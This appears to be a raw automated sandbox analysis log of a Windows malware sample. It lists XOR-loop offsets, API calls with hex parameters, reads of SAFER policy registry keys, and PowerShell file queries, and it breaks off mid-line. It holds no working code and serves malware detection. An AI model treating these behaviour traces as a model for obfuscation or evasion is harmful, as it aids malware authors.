8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1449803; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1469955; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1471981; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1500257; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1599182; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1770768; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1784402; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 1963118; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2124834; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2160551; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2166012; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2210199; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2295057; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2304100; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2457380; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2677349; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2834830; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2922657; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 2999714; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3072913; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3155840; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3366960; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3605263; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3655766; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3704291; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3761525; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3819490; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3843355; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3861105; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 3950299; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4023450; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4161030; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4175233; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4322973; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4412730; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4443158; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4459615; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4500422; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4584679; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4696760; code bytes = 8030 Found XOR loop in file "LockAppHost14a02b.exe" at offset 4838969; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 163355; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 482829; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 766190; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 866372; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 882324; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 894384; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 933480; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1077418; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1081745; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1115699; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1306526; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1327501; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1354438; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1405497; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1414560; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1417085; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1482457; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1485151; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1531281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1601500; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1706577; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1745208; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2015862; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2127880; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2155150; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2208197; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2333107; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2520691; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2771442; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2832075; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2868992; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2926067; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2928456; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3095924; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3190738; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3251179; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3762625; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3769422; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3777443; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3887072; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3925366; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4057668; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4078636; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4111281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4148030; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4169265; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4304111; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4404413; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4412731; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4416760; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4625133; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4783197; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4847666; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4984746; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5030433; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 54354; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 55481; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 58016; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 67608; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 67741; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 286941; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 344388; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 626606; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 658878; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 684756; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 703532; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 729088; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 816818; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 896419; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1021339; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1053767; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1238730; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1399636; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1497348; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1573526; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1705768; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1722727; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1725716; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1798139; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1975275; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2027884; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2159778; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2283352; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2360850; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2400279; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2501242; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2559725; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2632851; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2767283; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2785268; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2840803; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3008003; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3308636; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3320011; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3358019; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3418546; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3425841; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3451105; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3572425; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3665496; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3761010; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3792878; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3804265; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3811662; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3844410; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4259634; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4260695; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4482691; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4489962; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4504906; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4597471; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4763150; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4819920; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4819939; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4819955; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4875836; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4925825; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4980318; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4990138; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5046201; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5057436; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5120678; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5162158; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5175720; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5179115; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5188777; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5193773; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2026081; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 17366; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 17397; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 17429; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 107765; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 327878; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 336151; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 559441; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 611934; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 637298; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 698670; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 728894; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 816849; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1004353; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1063509; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1120702; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1170405; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1303747; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1334307; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1391220; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1449803; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1469955; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1471981; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1500257; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1599182; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1770768; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1784402; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1963118; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2124834; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2160551; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2166012; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2210199; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2295057; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2304100; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2457380; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2677349; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2834830; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2922657; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2999714; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3072913; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3155840; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3366960; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3605263; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3655766; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3704291; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3761525; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3819490; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3843355; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3861105; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3950299; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4023450; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4161030; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4175233; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4322973; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4412730; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4443158; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4459615; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4500422; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4584679; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4696760; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4838969; code bytes = 80302f:T1df5,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000051a73694f97f000000000000000000000000000000000000f0edeff9fe000000000000000000000040edeff9fe00000010334494f97f0000000000000000000090324494f97f0000040000000000000008eeeff9fe000000000000000000000001f2eff9fe000000000000000000000076c53894f97f00000000000000000000000000000000000001f2eff9fe0000000000000000000000e0edeff9fe00000098bd7093f97f000000100000000000000300000000000000080000000f00000001000000f97f00004077a8e61f020000ffffffff0f00000008eeeff9fe000000c3f03394f97f00000024a8e61f020000e8843494f97f0000f0c5a8e6 (UID: 00000000-00004180) "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004180) "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004180) "sc.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007848) "sc.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005824) "sc.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004544) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005432) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005432) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac3e92f97f0000000000000000000051ed3794f97f0000000000001f02000000000000000000005f744d2a3c7800002a0000000000000040730cf51f0200008fec3794f97f0000e0ac3e92f97f0000e0ac3e92f97f0000000000000000000000000000f97f0000ffffff7f2de7000000000000000000000000000000000000d8ce3292f97f00002a0000000000000069c3eb91f97f00003100000000000000f803000000000000fc030000000000001100011000000000d0d137664900000003a3c193f97f0000d0d137664900000000000000000000002b00000000000000000000000000000020b0f191f97f0000b43ff091f97f0000e0ce3292 (UID: 00000000-00005432) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000001bf41f0200000b8e3594f97f000000001bf41f02000002000000f97f00003800000000000000400000000000000030031bf41f02000088e028674900000001e1286749000000030000000000000001000000000000001600000000000000201010f41f0200000000000000000000000010f41f020000909215f51f02000000000000000000001c000000010000000000000000000000800000000000000004000000000000000000000000000000789b15f51f02000004000000000000003800000000000000f098c093f97f00003800000000000000380000000000000000e2286749000000c00c6d5ef97f000000000000 (UID: 00000000-00005432) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b08c7bf97f000007000000000000000000000000000000010000000000000070d81bf41f0200000000000000000000909872f51f0200004c98c093f97f000020c672f51f020000b3ce635ef97f0000d09f72f51f020000004f8c7bf97f0000d0b08c7bf97f000000000000000000000000000000000000d09f72f51f02000070d81bf41f02000030c172f51f02000058e22867490000004c98c093f97f0000010000000000000058e228674900000030c172f51f020000d09f72f51f020000010000000000000002bc635ef97f0000109972f51f020000f06571f51f020000feffffff040000007df08b7bf97f000010c272f5 (UID: 00000000-00005432) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000070d81bf41f0200000000000000000000909872f51f0200004c98c093f97f0000a0d272f51f020000b3ce635ef97f000060a072f51f020000384f8c7bf97f0000d0b08c7bf97f00000000000000000000000000000000000060a072f51f02000070d81bf41f02000030c172f51f02000050e22867490000004c98c093f97f0000010000000000000050e228674900000030c172f51f02000060a072f51f020000010000000000000002bc635ef97f00000000000000000000f06571f51f020000109972f504000000feffffffffffffff70d81bf41f0200007df08b7bf97f000000000000 (UID: 00000000-00005432)30:T46c,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005432) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000f8c05f91f97f00000000117bf97f0000000000000000000000000000000000000806127bf97f00000001000000000000f098c093f97f00000001000000000000000100000000000000000000000000000006127bf97f000001000000000000000f18117bf97f000000000000000000000006127bf97f000009000000 (UID: 00000000-00005432) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e00630006000006e83d0000f093bfcf (UID: 00000000-00002720)31:T49e,"SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "SecuriteInfo.com.Win64.Evo-gen.49237433.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "sc.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")32:T16c3,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1764795290 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005432-00000C17-1765305685 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005432-00000C17-1765826951 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005432-00000C17-1766109170 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1766875117 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1767161653 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1767263184 "powershell.exe" queries volume information of "C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.1\Microsoft.PowerShell.PSReadline.dll" at 00000000-00005432-00000C17-1767797687 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1767978815 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Package_734_for_KB4074588~31bf3856ad364e35~amd64~~10.0.1.17.cat" at 00000000-00005432-00000C17-1768025256 "powershell.exe" queries volume information of "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll" at 00000000-00005432-00000C17-1768052998 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00005432-00000C17-1768069535 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00005432-00000C17-1768082210 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00005432-00000C17-1768082487 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1768305086 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.16299.15.cat" at 00000000-00005432-00000C17-1768334548 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1768403499 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1768545784 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1768588917 "powershell.exe" queries volume information of "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll" at 00000000-00005432-00000C17-1768649120 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005432-00000C17-1768781943 "powershell.exe" queries volume information of 